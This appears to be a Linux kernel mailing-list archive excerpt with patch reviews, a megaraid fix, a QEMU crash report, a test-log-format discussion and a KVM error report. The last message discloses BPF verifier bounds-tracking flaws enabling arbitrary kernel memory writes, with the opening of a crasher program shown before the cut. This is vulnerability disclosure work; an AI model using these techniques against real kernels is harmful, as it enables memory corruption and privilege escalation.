	Michal Hocko, Mateusz Guzik, Cyrill Gorcunov, John Stultz,
	Al Viro <viro>
In-Reply-To: <afb9a2bb41be9e129ececea27e09a7d69d1c5e6c.1478650356.git-series.josh-iaAMLnmF4UmaiuxdJuQwMA@public.gmane.org>

On Tue, Nov 8, 2016 at 4:18 PM, Josh Triplett <josh-iaAMLnmF4UmaiuxdJuQwMA@public.gmane.org> wrote:
> This prepares for making prctl optional.

I like this.

^ permalink raw reply

* Re: [PATCH 1/2] kernel: Move prctl and helpers from kernel/sys.c to new kernel/prctl.c
From: Andy Lutomirski @ 2016-11-09  0:19 UTC (permalink / raw)
  To: Josh Triplett
  Cc: Andrew Morton, Kees Cook, Johannes Weiner, Arnd Bergmann,
	Ingo Molnar, Andy Lutomirski, Petr Mladek, Thomas Garnier,
	Ard Biesheuvel, Nicolas Pitre, Zefan Li, Li Bin,
	Eric W. Biederman, Dmitry Vyukov, Ralf Baechle, Alex Thorlton,
	Michal Hocko, Mateusz Guzik, Cyrill Gorcunov, John Stultz,
	Al Viro, Zach Brown, Anna Schumaker, Dave Hansen,
	linux-kernel@vger.kernel.org, Linux API
In-Reply-To: <afb9a2bb41be9e129ececea27e09a7d69d1c5e6c.1478650356.git-series.josh@joshtriplett.org>

On Tue, Nov 8, 2016 at 4:18 PM, Josh Triplett <josh@joshtriplett.org> wrote:
> This prepares for making prctl optional.

I like this.

^ permalink raw reply

* RE: [REGRESSION] 4.9-rc4+ doesn't boot on my test box
From: Kashyap Desai @ 2016-11-09  0:20 UTC (permalink / raw)
  To: Martin K. Petersen, Jens Axboe; +Cc: linux-scsi
In-Reply-To: <yq1mvh9r2b9.fsf@sermon.lab.mkp.net>

> -----Original Message-----
> From: Martin K. Petersen [mailto:martin.petersen@oracle.com]
> Sent: Wednesday, November 09, 2016 4:45 AM
> To: Jens Axboe
> Cc: linux-scsi; Kashyap Desai; Martin K. Petersen
> Subject: Re: [REGRESSION] 4.9-rc4+ doesn't boot on my test box
>
> >>>>> "Jens" == Jens Axboe <axboe@kernel.dk> writes:
>
> Jens> I wasted half a day on this, thinking it was something in my
> Jens> 4.10 branches. But it turns out it is not, the regression is in
> Jens> mainline.

Jens -

Sorry for trouble.  I did not validated this single patch. I validated
complete patch set.
Issue is improper MACRO usage MEGASAS_IS_LOGICAL, which gives incorrect
check condition in qcmd Path.

Below is proposed fix.


diff --git a/drivers/scsi/megaraid/megaraid_sas.h
b/drivers/scsi/megaraid/megaraid_sas.h
index 74c7b44..0d2625b 100644
--- a/drivers/scsi/megaraid/megaraid_sas.h
+++ b/drivers/scsi/megaraid/megaraid_sas.h
@@ -2236,7 +2236,7 @@ struct megasas_instance_template {
 };

 #define MEGASAS_IS_LOGICAL(scp)
\
-	(scp->device->channel < MEGASAS_MAX_PD_CHANNELS) ? 0 : 1
+	((scp->device->channel < MEGASAS_MAX_PD_CHANNELS) ? 0 : 1)

 #define MEGASAS_DEV_INDEX(scp)						\
 	(((scp->device->channel % 2) * MEGASAS_MAX_DEV_PER_CHANNEL) +	\


>
> Kashyap, have you tested the stable fix without the remainder of the
driver
> update in place?

Martin -  I validated whole series.  Apologies for this.

Please help me to know how to fix this ? Do I need to send only fix on top
of latest commit (as posted above - MACRO definition) for this issue ?

>
> --
> Martin K. Petersen	Oracle Linux Engineering

^ permalink raw reply related

* Re: [PATCH v7 1/3] input: touchscreen: TOUCHSCREEN_SUN4I depends on !SUN4I_GPADC
From: Dmitry Torokhov @ 2016-11-09  0:20 UTC (permalink / raw)
  To: Quentin Schulz
  Cc: linux-I+IVW8TIWO2tmTQ+vhA3Yw,
	maxime.ripard-wi1+55ScJUtKEb57/3fJTNBPR1lH4CV8, wens-jdAy2FN1RRM,
	jic23-DgEjT+Ai2ygdnm+yROfE0A, knaack.h-Mmb7MZpHnFY,
	lars-Qo5EllUWu/uELgA04lAiVw, pmeerw-jW+XmwGofnusTnJN9+BGXg,
	lee.jones-QSEj5FYQhm4dnm+yROfE0A,
	antoine.tenart-wi1+55ScJUtKEb57/3fJTNBPR1lH4CV8,
	thomas.petazzoni-wi1+55ScJUtKEb57/3fJTNBPR1lH4CV8,
	linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r,
	linux-kernel-u79uwXL29TY76Z2rM5mHXA,
	linux-iio-u79uwXL29TY76Z2rM5mHXA,
	linux-input-u79uwXL29TY76Z2rM5mHXA
In-Reply-To: <20161103101601.24529-2-quentin.schulz-wi1+55ScJUtKEb57/3fJTNBPR1lH4CV8@public.gmane.org>

On Thu, Nov 03, 2016 at 11:15:59AM +0100, Quentin Schulz wrote:
> SUN4I_GPADC and TOUCHSCREEN_SUN4I are incompatible (both are drivers
> for Allwinner SoCs' ADC). This makes sure TOUCHSCREEN_SUN4I isn't
> enabled while SUN4I_GPADC is enabled.
> 
> Signed-off-by: Quentin Schulz <quentin.schulz-wi1+55ScJUtKEb57/3fJTNBPR1lH4CV8@public.gmane.org>

Acked-by: Dmitry Torokhov <dmitry.torokhov-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>

Please merge with SUN4I_GPADC driver patch.

> ---
> 
> added in v7
> 
>  drivers/input/touchscreen/Kconfig | 1 +
>  1 file changed, 1 insertion(+)
> 
> diff --git a/drivers/input/touchscreen/Kconfig b/drivers/input/touchscreen/Kconfig
> index efca013..c618cb9 100644
> --- a/drivers/input/touchscreen/Kconfig
> +++ b/drivers/input/touchscreen/Kconfig
> @@ -1120,6 +1120,7 @@ config TOUCHSCREEN_SUN4I
>  	depends on ARCH_SUNXI || COMPILE_TEST
>  	depends on HWMON
>  	depends on THERMAL || !THERMAL_OF
> +	depends on !SUN4I_GPADC
>  	help
>  	  This selects support for the resistive touchscreen controller
>  	  found on Allwinner sunxi SoCs.
> -- 
> 2.9.3
> 

-- 
Dmitry

^ permalink raw reply

* Re: [PATCH v7 1/3] input: touchscreen: TOUCHSCREEN_SUN4I depends on !SUN4I_GPADC
From: Dmitry Torokhov @ 2016-11-09  0:20 UTC (permalink / raw)
  To: Quentin Schulz
  Cc: linux, maxime.ripard, wens, jic23, knaack.h, lars, pmeerw,
	lee.jones, antoine.tenart, thomas.petazzoni, linux-arm-kernel,
	linux-kernel, linux-iio, linux-input
In-Reply-To: <20161103101601.24529-2-quentin.schulz@free-electrons.com>

On Thu, Nov 03, 2016 at 11:15:59AM +0100, Quentin Schulz wrote:
> SUN4I_GPADC and TOUCHSCREEN_SUN4I are incompatible (both are drivers
> for Allwinner SoCs' ADC). This makes sure TOUCHSCREEN_SUN4I isn't
> enabled while SUN4I_GPADC is enabled.
> 
> Signed-off-by: Quentin Schulz <quentin.schulz@free-electrons.com>

Acked-by: Dmitry Torokhov <dmitry.torokhov@gmail.com>

Please merge with SUN4I_GPADC driver patch.

> ---
> 
> added in v7
> 
>  drivers/input/touchscreen/Kconfig | 1 +
>  1 file changed, 1 insertion(+)
> 
> diff --git a/drivers/input/touchscreen/Kconfig b/drivers/input/touchscreen/Kconfig
> index efca013..c618cb9 100644
> --- a/drivers/input/touchscreen/Kconfig
> +++ b/drivers/input/touchscreen/Kconfig
> @@ -1120,6 +1120,7 @@ config TOUCHSCREEN_SUN4I
>  	depends on ARCH_SUNXI || COMPILE_TEST
>  	depends on HWMON
>  	depends on THERMAL || !THERMAL_OF
> +	depends on !SUN4I_GPADC
>  	help
>  	  This selects support for the resistive touchscreen controller
>  	  found on Allwinner sunxi SoCs.
> -- 
> 2.9.3
> 

-- 
Dmitry

^ permalink raw reply

* [PATCH v7 1/3] input: touchscreen: TOUCHSCREEN_SUN4I depends on !SUN4I_GPADC
From: Dmitry Torokhov @ 2016-11-09  0:20 UTC (permalink / raw)
  To: linux-arm-kernel
In-Reply-To: <20161103101601.24529-2-quentin.schulz@free-electrons.com>

On Thu, Nov 03, 2016 at 11:15:59AM +0100, Quentin Schulz wrote:
> SUN4I_GPADC and TOUCHSCREEN_SUN4I are incompatible (both are drivers
> for Allwinner SoCs' ADC). This makes sure TOUCHSCREEN_SUN4I isn't
> enabled while SUN4I_GPADC is enabled.
> 
> Signed-off-by: Quentin Schulz <quentin.schulz@free-electrons.com>

Acked-by: Dmitry Torokhov <dmitry.torokhov@gmail.com>

Please merge with SUN4I_GPADC driver patch.

> ---
> 
> added in v7
> 
>  drivers/input/touchscreen/Kconfig | 1 +
>  1 file changed, 1 insertion(+)
> 
> diff --git a/drivers/input/touchscreen/Kconfig b/drivers/input/touchscreen/Kconfig
> index efca013..c618cb9 100644
> --- a/drivers/input/touchscreen/Kconfig
> +++ b/drivers/input/touchscreen/Kconfig
> @@ -1120,6 +1120,7 @@ config TOUCHSCREEN_SUN4I
>  	depends on ARCH_SUNXI || COMPILE_TEST
>  	depends on HWMON
>  	depends on THERMAL || !THERMAL_OF
> +	depends on !SUN4I_GPADC
>  	help
>  	  This selects support for the resistive touchscreen controller
>  	  found on Allwinner sunxi SoCs.
> -- 
> 2.9.3
> 

-- 
Dmitry

^ permalink raw reply

* [Qemu-devel] [Bug 1639322] Re: pasting into ppc64 serial console kills qemu
From: Michal Suchanek @ 2016-11-09  0:08 UTC (permalink / raw)
  To: qemu-devel
In-Reply-To: <20161104181436.19841.43234.malonedeb@soybean.canonical.com>

This is gtk interface.

However, the function on line 40 os spapr_vty.c looks really insane.

It asserts that it is not given more data to input in a ring buffer than
is size of the buffer and then stuffs all the data in regardless of the
amount of data already present.

It should probably loop or one of its callers but I did not find a
decent comparable piece of code to cut and paste whatever callbacks are
needed for the other side to consume the bytes.

-- 
You received this bug notification because you are a member of qemu-
devel-ml, which is subscribed to QEMU.
https://bugs.launchpad.net/bugs/1639322

Title:
  pasting into ppc64 serial console kills qemu

Status in QEMU:
  New

Bug description:
  - run qemu-system-ppc64
  - when X window appears press Ctrl+Alt+3
  - paste any text longer than 16 characters

  
  qemu-system-ppc64: /home/abuild/rpmbuild/BUILD/qemu-2.6.1/hw/char/spapr_vty.c:40: vty_receive: Assertion `(dev->in - dev->out) < 16' failed.
  Aborted (core dumped)

  Broken in SUSE Leap 42.2 and git
  4eb28abd52d48657cff6ff45e8dbbbefe4dbb414

To manage notifications about this bug go to:
https://bugs.launchpad.net/qemu/+bug/1639322/+subscriptions

^ permalink raw reply

* Re: [Fuego] LPC Increase Test Coverage in a Linux-based OS
From: Bird, Timothy @ 2016-11-09  0:21 UTC (permalink / raw)
  To: Guillermo Adrian Ponce Castañeda; +Cc: fuego@lists.linuxfoundation.org
In-Reply-To: <CACJk57yUa5DgkSVkLXRESWbOeS9N5iSnXWw+t28imOuztccPXQ@mail.gmail.com>



> -----Original Message-----
> From: Guillermo Adrian Ponce Castañeda on Tuesday, November 08, 2016 11:38 AM
>
> I am a co-author of this code and I must confess that it was more or less my
> fault that it was made on Perl.

No blame intended. :-)
 
> 
> Regarding how many logs the program analyzes, I think it is nowhere near
> 5000, it is much less, but taking in count that some logs are similar I think it is
> possible that some logs that haven't been tested are going to work, but who
> knows :).
> 
> 
> And about the output file, right now it delivers a comma separated list of
> numbers, without headers, this is because this code is part of a  bigger tool, I
> think that code is not open source yet, but that doesn't matter I guess, the
> thing here is that I think the output could be changed into a json like you
> suggested and i can try to translate the code from Perl to Python, still not
> sure how long it's gonna take, but I can sure try.

Well, don't do any re-writing just yet.  I think we need to consider the
output format some more, and decide whether it makes sense to have a
single vs. multiple parsers first.

An important issue here is scalability of the project, and making it easy
to allow (and incentivize) other developers to create and maintain
parsers for the log files.  Or, to help encourage people to use a common
format either initially, or by conversion from their current log format.
The only way to scale this is by having 3rd parties adopt the format, and
be willing to maintain compatibility with it over time.

I think it's important to consider what will motivate people to adopt a common
log format.  They either need to 1) write a parser for their current format, or
2) identify an existing parser which is close enough and modify it to
support their format, or 3) convert their test output directly to the desired
format.  This will be some amount of work whichever route people take.

I think what will be of value is having tools that read and process the format,
and provide utility to those who use the format for output.  So I want to do a bit
of a survey on what tools (visualizers, aggregators, automated processors, 
notifiers, etc.) might be useful to different developer groups, and make sure
the format is something that can be used by existing tools or by envisioned
future tools, that would be valuable to community members.

In more high-level terms, we should trying to create a double-sided network effect,
where use  (output) of the format drives tools creation, and tools usage
of the format (input) drives format popularity.

Can you describe a bit more what tools, if any, you use to view the results,
or any other processing systems that the results are used with?  If you are reviewing
results manually, are there steps you are doing now by hand that you'd like to
do automatically in the future, that a common format would help you with?

I'll go first - Fuego is currently just using the standard Jenkins "weather" report
and 'list of recent overall pass/failure' for each test. So we don't have anything
visualizing the results of sub-tests, or even displaying the counts for each test run, at the moment.
Daniel Sangorrin has just recently proposed a facility to put LTP results into spreadsheet format,
to allow visualizing test results over time via spreadsheet tools.  I'd like to add better
sub-test visualization in the future, but that's lower on our priority list at the moment.

Also in the future, we'd like to do test results aggregation, to allow for data mining
of results from tests on different hardware platforms and embedded distributions.
This will require that the parsed log output be machine-readable, and consistent.
 -- Tim

> On Mon, Nov 7, 2016 at 6:26 PM, Bird, Timothy <Tim.Bird@am.sony.com
> <mailto:Tim.Bird@am.sony.com> > wrote:
> 
> 
> 	Victor,
> 
> 	Thanks for raising this topic.  I think it's an important one.  I have
> some comments below, inline.
> 
> 	> -----Original Message-----
> 	> From: Victor Rodriguez on Saturday, November 05, 2016 10:15 AM
> 	>
> 	> This week I presented a case of study for the problem of lack of
> test
> 	> log output standardization in the majority of packages that are used
> 	> to build the current Linux distributions. This was presented as a BOF
> 	> ( https://www.linuxplumbersconf.org/2016/ocw/proposals/3555
> <https://www.linuxplumbersconf.org/2016/ocw/proposals/3555> )  during
> 	> the Linux Plumbers Conference.
> 	>
> 	> it was a productive  discussion that let us share the problem that
> we
> 	> have in the current projects that we use every day to build a
> 	> distribution ( either in embedded as in a cloud base distribution).
> 	> The open source projects don't follow a standard output log format
> to
> 	> print the passing and failing tests that they run during packaging
> 	> time ( "make test" or "make check" )
> 	>
> 	> The Clear Linux project is using a simple Perl script that helps them
> 	> to count the number of passing and failing tests (which should be
> 	> trivial if could have a single standard output among all the projects,
> 	> but we don’t):
> 	>
> 	>
> https://github.com/clearlinux/autospec/blob/master/autospec/count.pl
> <https://github.com/clearlinux/autospec/blob/master/autospec/count.pl>
> 	>
> 	> # perl count.pl <http://count.pl>  <build.log>
> 
> 	A few remarks about this.  This will be something of a stream of
> ideas, not
> 	very well organized.  I'd like to prevent requiring too many different
> 	language skills in Fuego.  In order to write a test for Fuego, we
> already require
> 	knowledge of shell script, python (for the benchmark parsers) and
> json formats
> 	(for the test specs and plans).  I'd be hesitant to adopt something in
> perl, but maybe
> 	there's a way to leverage the expertise embedded in your script.
> 
> 	I'm not that fond of the idea of integrating all the parsers into a single
> program.
> 	I think it's conceptually simpler to have a parser per log file format.
> However,
> 	I haven't looked in detail at your parser, so I can't really comment on
> it's
> 	complexity.  I note that 0day has a parser per test (but I haven't
> checked to
> 	see if they re-use common parsers between tests.)  Possibly some
> combination
> 	of code-driven and data-driven parsers is best, but I don't have the
> experience
> 	you guys do with your parser.
> 
> 	If I understood your presentation, you are currently parsing
> 	logs for thousands of packages. I thought you said that about half of
> the
> 	20,000 packages in a distro have unit tests, and I thought you said
> that
> 	your parser was covering about half of those (so, about 5000
> packages currently).
> 	And this is with 26 log formats parsed so far.
> 
> 	I'm guessing that packages have a "long tail" of formats, with them
> getting
> 	weirder and weirder the farther out on the tail of formats you get.
> 
> 	Please correct my numbers if I'm mistaken.
> 
> 	> Examples of real packages build logs:
> 	>
> 	>
> https://kojipkgs.fedoraproject.org//packages/gcc/6.2.1/2.fc25/data/logs/x8
> <https://kojipkgs.fedoraproject.org//packages/gcc/6.2.1/2.fc25/data/logs/x
> 8>
> 	> 6_64/build.log
> 	>
> https://kojipkgs.fedoraproject.org//packages/acl/2.2.52/11.fc24/data/logs/x
> <https://kojipkgs.fedoraproject.org//packages/acl/2.2.52/11.fc24/data/logs/
> x>
> 	> 86_64/build.log
> 	>
> 	> So far that simple (and not well engineered) parser has found 26
> 	> “standard” outputs ( and counting ) .
> 
> 	This is actually remarkable, as Fuego is only handing the formats for
> the
> 	standalone tests we ship with Fuego.  As I stated in the BOF, we have
> two
> 	mechanisms, one for functional tests that uses shell, grep and diff,
> and
> 	one for benchmark tests that uses a very small python program that
> uses
> 	regexes.   So, currently we only have 50 tests covered, but many of
> these
> 	parsers use very simple one-line grep regexes.
> 
> 	Neither of these Fuego log results parser methods supports tracking
> individual
> 	subtest results.
> 
> 	> The script has the fail that it
> 	> does not recognize the name of the tests in order to detect
> 	> regressions. Maybe one test was passing in the previous release
> and in
> 	> the new one is failing, and then the number of failing tests remains
> 	> the same.
> 
> 	This is a concern with the Fuego log parsing as well.
> 
> 	I would like to modify Fuego's parser to not just parse out counts, but
> to
> 	also convert the results to something where individual sub-tests can
> be
> 	tracked over time.  Daniel Sangorrin's recent work converting the
> output
> 	of LTP into excel format might be one way to do this (although I'm
> not
> 	that comfortable with using a proprietary format - I would prefer CSV
> 	or json, but I think Daniel is going for ease of use first.)
> 
> 	I need to do some more research, but I'm hoping that there are
> Jenkins
> 	plugins (maybe xUnit) that will provide tools to automatically handle
> 	visualization of test and sub-test results over time.  If so, I might
> 	try converting the Fuego parsers to product that format.
> 
> 	> To be honest, before presenting at LPC I was very confident that
> this
> 	> script ( or another version of it , much smarter ) could be beginning
> 	> of the solution to the problem we have. However, during the
> discussion
> 	> at LPC I understand that this might be a huge effort (not sure if
> 	> bigger) in order to solve the nightmare we already have.
> 
> 	So far, I think you're solving a bit different problem than Fuego is,
> and in one sense are
> 	much farther along than Fuego.  I'm hoping we can learn from your
> 	experience with this.
> 
> 	I do think we share the goal of producing a standard, or at least a
> recommendation,
> 	for a common test log output format.  This would help the industry
> going forward.
> 	Even if individual tests don't produce the standard format, it will help
> 3rd parties
> 	write parsers that conform the test output to the format, as well as
> encourage the
> 	development of tools that utilize the format for visualization or
> regression checking.
> 
> 	Do you feel confident enough to propose a format?  I don't at the
> moment.
> 	I'd like to survey the industry for 1) existing formats produced by
> tests (which you have good experience
> 	with, which is already maybe capture well by your perl script), and 2)
> existing tools
> 	that use common formats as input (e.g. the Jenkins xunit plugin).
> From this I'd like
> 	to develop some ideas about the fields that are most commonly
> used, and a good language to
> 	express those fields. My preference would be JSON - I'm something
> of an XML naysayer, but
> 	I could be talked into YAML.  Under no circumstances do I want to
> invent a new language for
> 	this.
> 
> 	> Tim Bird participates at the BOF and recommends me to send a mail
> to
> 	> the Fuego project team in order to look for more inputs and ideas
> bout
> 	> this topic.
> 	>
> 	> I really believe in the importance of attack this problem before we
> 	> have a bigger problem
> 	>
> 	> All feedback is more than welcome
> 
> 	Here is how I propose moving forward on this.  I'd like to get a group
> together to study this
> 	issue.  I wrote down a list of people at LPC who seem to be working
> on test issues.  I'd like to
> 	do the following:
> 	 1) perform a survey of the areas I mentioned above
> 	 2) write up a draft spec
> 	 3) send it around for comments (to what individual and lists? is an
> open issue)
> 	 4) discuss it at a future face-to-face meeting (probably at ELC or
> maybe next year's plumbers)
> 	 5) publish it as a standard endorsed by the Linux Foundation
> 
> 	Let me know what you think, and if you'd like to be involved.
> 
> 	Thanks and regards,
> 	 -- Tim
> 
> 
> 
> 
> 
> 
> --
> 
> - Guillermo Ponce

^ permalink raw reply

* [4.1.y] vmwrite error: reg 401e value a9 (err 1)
From: Greg Edwards @ 2016-11-09  0:17 UTC (permalink / raw)
  To: kvm
  Cc: Sasha Levin, Paolo Bonzini, Radim Krčmář,
	Jim Mattson, Kai Huang

On current 4.1.y stable kernel (4.1.35) on a Broadwell-EP system, I see the
following when shutting down a multiple vcpu VM:

[  758.387722] vmwrite error: reg 401e value a9 (err 1)
[  758.392860] CPU: 33 PID: 14969 Comm: qemu-system-x86 Not tainted 4.1.35 #1
[  758.399897] Hardware name: DDN 14000x/14000, BIOS 0229 09/23/2016
[  758.406156]  0000000000000286 0000000028b15def ffff88202f3fbb38 ffffffff8159de63
[  758.413942]  ffff88402a938000 0000000000000001 ffff88202f3fbb48 ffffffffa060fa1c
[  758.421736]  ffff88202f3fbb58 ffffffffa060fa49 ffff88202f3fbb78 ffffffffa0618fab
[  758.429534] Call Trace:
[  758.432147]  [<ffffffff8159de63>] dump_stack+0x4d/0x63
[  758.437449]  [<ffffffffa060fa1c>] vmwrite_error+0x2c/0x30 [kvm_intel]
[  758.444059]  [<ffffffffa060fa49>] vmcs_writel+0x29/0x30 [kvm_intel]
[  758.450493]  [<ffffffffa0618fab>] vmx_free_vcpu+0xdb/0xf0 [kvm_intel]
[  758.457111]  [<ffffffffa059ddb8>] kvm_arch_vcpu_free+0x48/0x50 [kvm]
[  758.463637]  [<ffffffffa059eb8a>] kvm_arch_destroy_vm+0x10a/0x200 [kvm]
[  758.470418]  [<ffffffff810caff8>] ? synchronize_srcu+0x28/0x30
[  758.476419]  [<ffffffffa05850c5>] kvm_put_kvm+0x105/0x220 [kvm]
[  758.482505]  [<ffffffffa0585218>] kvm_vcpu_release+0x18/0x20 [kvm]
[  758.488853]  [<ffffffff811a143b>] __fput+0xcb/0x1d0
[  758.493899]  [<ffffffff811a158e>] ____fput+0xe/0x10
[  758.498939]  [<ffffffff81098ec4>] task_work_run+0xd4/0xf0
[  758.504497]  [<ffffffff8107d811>] do_exit+0x2a1/0xb40
[  758.509708]  [<ffffffff8107eef7>] do_group_exit+0x47/0xc0
[  758.515269]  [<ffffffff8108adc3>] get_signal+0x1f3/0x6c0
[  758.520743]  [<ffffffff81003517>] do_signal+0x37/0x800
[  758.526042]  [<ffffffff810e9c35>] ? SyS_futex+0x85/0x1a0
[  758.531513]  [<ffffffff81003d50>] do_notify_resume+0x70/0x80
[  758.537334]  [<ffffffff815a4882>] int_signal+0x12/0x17

This started with the inclusion of 6c2ca21665b99ce2f76389c353b985d8195387cc
("KVM: nVMX: Fix memory corruption when using VMCS shadowing") in 4.1.31.

The error is coming out of vmx_disable_pml() when freeing the 2nd and
subsequent vcpus, as SECONDARY_EXEC_ENABLE_PML was already cleared from the
SECONDARY_VM_EXEC_CONTROL when the first vcpu was freed.

Additionally pulling back a3eaa8649e4c6a6afdafaa04b9114fb230617bb1 ("KVM: VMX:
Fix commit which broke PML") from 4.4 resolves it for me, as it fixes
the above condition.

Is this the correct fix for 4.1.y?

Greg

^ permalink raw reply

* Re: [PATCH] video: mxsfb: get supply regulator optionally
From: Stefan Agner @ 2016-11-09  0:16 UTC (permalink / raw)
  To: Tomi Valkeinen
  Cc: plagnioj, robh+dt, mark.rutland, devicetree, linux-fbdev,
	linux-kernel, Mark Brown
In-Reply-To: <1812b2bf-bd66-3553-4c2d-3d2b08603ca0@ti.com>

Hi Tomi,

I vote to merge this patch, see below:

On 2016-09-07 00:20, Tomi Valkeinen wrote:
> On 06/09/16 21:23, Stefan Agner wrote:
>> On 2016-09-06 01:21, Tomi Valkeinen wrote:
>>> Hi,
>>>
>>> On 04/09/16 07:26, Stefan Agner wrote:
>>>> The lcd-supply is meant to be optional, there are several device-
>>>> trees not specifying it and the code handles error values silently.
>>>> Therefor, avoid creating a dummy regulator (and the associated
>>>> warning) by using devm_regulator_get_optional.
>>>>
>>>> While at it, document that fact also in the device-tree bindings.
>>>
>>> The binding change looks correct, but using
>>> devm_regulator_get_optional() does not sound correct.
>>>
>>> devm_regulator_get_optional() is to be used when the device in question
>>> truly can function without the power supply. But if the supply is there,
>>> it's just not controlled by the SW, devm_regulator_get() is to be used.
>>
>> The framebuffer device can even function without a display, no problem
>> there.. Probably not really useful...
> 
> Yes. Of course, the question then becomes, why is the fb driver even
> dealing with the LCD's regulator. But yes, I know the answer: because
> that's how it has been done =).

Agreed, this property really shouldn't be part of the display controller
node.

The device tree should describe the hardware, and that is clearly not
how the hardware is wired up...

The DRM solution to this is having a separate panel node with a
(mandatory) power-supply property.

> 
>> devm_regulator_get creates a dummy regulator and a warning. Afaik, the
>> dummy regulator was meant to be as an aid during development, but not as
>> a permanent solution. This is what the initial commit of the dummy
>> regulator says:
> 
> Yep, the fixed regulator is afaik the correct solution to represent
> non-controllable regulators.
> 
>>> In order to ease transitions with drivers are boards start using regulators
>>> provide an option to cause all regulator_get() calls to succeed, with a
>>> dummy always on regulator being supplied where one has not been configured.
>>> A warning is printed whenever the dummy regulator is used to aid system
>>> development.
>>
>> I think we should either make the property mandatory and fix the device
>> trees or we should fix the driver to support an optional regulator. The
>> code already supports the reg_lcd being NULL, which is probably mostly
>> pointless right now as devm_regulator_get always returns a dummy
>> regulator.
> 
> To really clean this up, the LCD driver should be separated from the fb
> driver. But that's pointless work on a framework that should be
> deprecated (is there a DRM driver for this in the works? =).

Not that I am aware of, but I am considering it actually...

> 
> I'm fine with the _optional version, that's the easiest cleanup here.
> And, I guess, it could be even argued that it's correct in some cases,
> as the fb output could go outside the board, to some externally powered
> display.
> 
> I'm fine with doing more cleanups too, if it eases the maintenance
> burden in the future. But I don't see what the cleanups for the device
> trees would really give us here.
> 
> Mark, what do you say?

So this is what mark said:

On 2016-09-12 16:47, Mark Brown wrote:
> On Wed, Sep 07, 2016 at 10:20:25AM +0300, Tomi Valkeinen wrote:
> 
>> I'm fine with the _optional version, that's the easiest cleanup here.
>> And, I guess, it could be even argued that it's correct in some cases,
>> as the fb output could go outside the board, to some externally powered
>> display.
> 
> I'd *prefer* to see the supplies being specified, if only for the
> encouragement of the others.  But if you want to do the optional thing
> anyway...

In this case we really don't want people encourage using this
property... Making it optional is not the solution, but a band aid until
we have a proper solution (and deprecate the property...)

--
Stefan

^ permalink raw reply

* [meta-python][PATCH] pyyaml: Enable nativesdk bake
From: Brad Bishop @ 2016-11-09  0:14 UTC (permalink / raw)
  To: openembedded-devel

Signed-off-by: Brad Bishop <bradleyb@fuzziesquirrel.com>
---
 meta-python/recipes-devtools/python/python-pyyaml_3.12.bb | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/meta-python/recipes-devtools/python/python-pyyaml_3.12.bb b/meta-python/recipes-devtools/python/python-pyyaml_3.12.bb
index 61b1d2c..0899a2e 100644
--- a/meta-python/recipes-devtools/python/python-pyyaml_3.12.bb
+++ b/meta-python/recipes-devtools/python/python-pyyaml_3.12.bb
@@ -21,4 +21,4 @@ do_configure_prepend() {
     install -m 0644 ${WORKDIR}/setup.py ${S}
 }
 
-BBCLASSEXTEND = "native"
+BBCLASSEXTEND = "native nativesdk"
-- 
1.8.3.1


^ permalink raw reply related

* [PATCH] ARM: socfpga_defconfig: enable FS configs to support Angstrom filesystem
From: Dinh Nguyen @ 2016-11-09  0:23 UTC (permalink / raw)
  To: linux-arm-kernel
In-Reply-To: <2911351.Izg0zkPBzd@wuerfel>

On Tue, Nov 8, 2016 at 4:57 PM, Arnd Bergmann <arnd@arndb.de> wrote:
> On Tuesday, November 8, 2016 4:47:50 PM CET Dinh Nguyen wrote:
>> Enables:
>>
>> CONFIG_AUTOFS4_FS=y
>> CONFIG_NFSD=y
>> CONFIG_NFS_V3_ACL=y
>> CONFIG_NFSD_V3_ACL=y
>> CONFIG_NFSD_V4=y
>>
>> Signed-off-by: Matthew Gerlach <mgerlach@opensource.altera.com>
>> Signed-off-by: Dinh Nguyen <dinguyen@kernel.org>
>>
>
> No objections to the patch, but the changelog should not state what
> the patch clearly shows already but instead it should explain why
> you do this.
>
> The subject line mentions "to support Angstrom filesystem", but
> it's not clear (at least not to me) what that filesystem is.
>

Thanks for the review Arnd. I'll update with a better changelog message.

Dinh

^ permalink raw reply

* 484611357c19 introduces arbitrary kernel write bug (root-only)
From: Jann Horn @ 2016-11-09  0:23 UTC (permalink / raw)
  To: Daniel Borkmann, Alexei Starovoitov, David S. Miller, Josef Bacik
  Cc: security, netdev

In 484611357c19 (not in any stable kernel yet), functionality is
introduced that allows root (and afaics nobody else, since nobody else
is allowed to perform pointer arithmetic) to basically write to (and
read from) arbitrary kernel memory. There are multiple bugs in the
validation logic:

 - A bitwise AND of values in the ranges [a,b] and [c,d] is assumed to
always result in a value
   >= a&b. However, for the combination of ranges [1,1] and [1,2],
this calculates a minimum of 1
   while actually, 1&2 is zero. This is the bug that my crasher
(below) triggers.
 - a%b is assumed to always be smaller than b-1. However, for b==0,
this will calculate an upper
   limit of -1 while the values will actually always be zero.
 - I'm not sure about this, but I think that, when only one end of the
range is bounded, the logic will
   incorrectly also treat the other end as a bounded, and because of
the usage of bound
   placeholders that are smaller than the actual maximum values, this
could be used to perform
   out-of-bounds accesses.

The fun part here is that, as soon as the validation is just
off-by-one, arithmetic transformations can be used to turn that into
out-of-bounds accesses at arbitrary offsets. The crasher turns the
off-by-one into a memory write at offset 0x10000000.

Here's the crasher program:
=====================
#define _GNU_SOURCE
#include <err.h>
#include <stdint.h>
#include <linux/bpf.h>
#include <linux/filter.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <asm/unistd_64.h>
#include <sys/types.h>
#include <sys/socket.h>

/* start from kernel */
#define BPF_EMIT_CALL(FUNC)                 \
    ((struct bpf_insn) {                    \
        .code  = BPF_JMP | BPF_CALL,            \
        .dst_reg = 0,                   \
        .src_reg = 0,                   \
        .off   = 0,                 \
        .imm   = (FUNC) }) /* ??? */
#define BPF_MOV32_IMM(DST, IMM)                 \
    ((struct bpf_insn) {                    \
        .code  = BPF_ALU | BPF_MOV | BPF_K,     \
        .dst_reg = DST,                 \
        .src_reg = 0,                   \
        .off   = 0,                 \
        .imm   = IMM })
#define BPF_REG_ARG1    BPF_REG_1
#define BPF_REG_ARG2    BPF_REG_2
#define BPF_REG_ARG3    BPF_REG_3
#define BPF_REG_ARG4    BPF_REG_4
#define BPF_REG_ARG5    BPF_REG_5
#define BPF_PSEUDO_MAP_FD   1
#define BPF_LD_IMM64_RAW(DST, SRC, IMM)             \
    ((struct bpf_insn) {                    \
        .code  = BPF_LD | BPF_DW | BPF_IMM,     \
        .dst_reg = DST,                 \
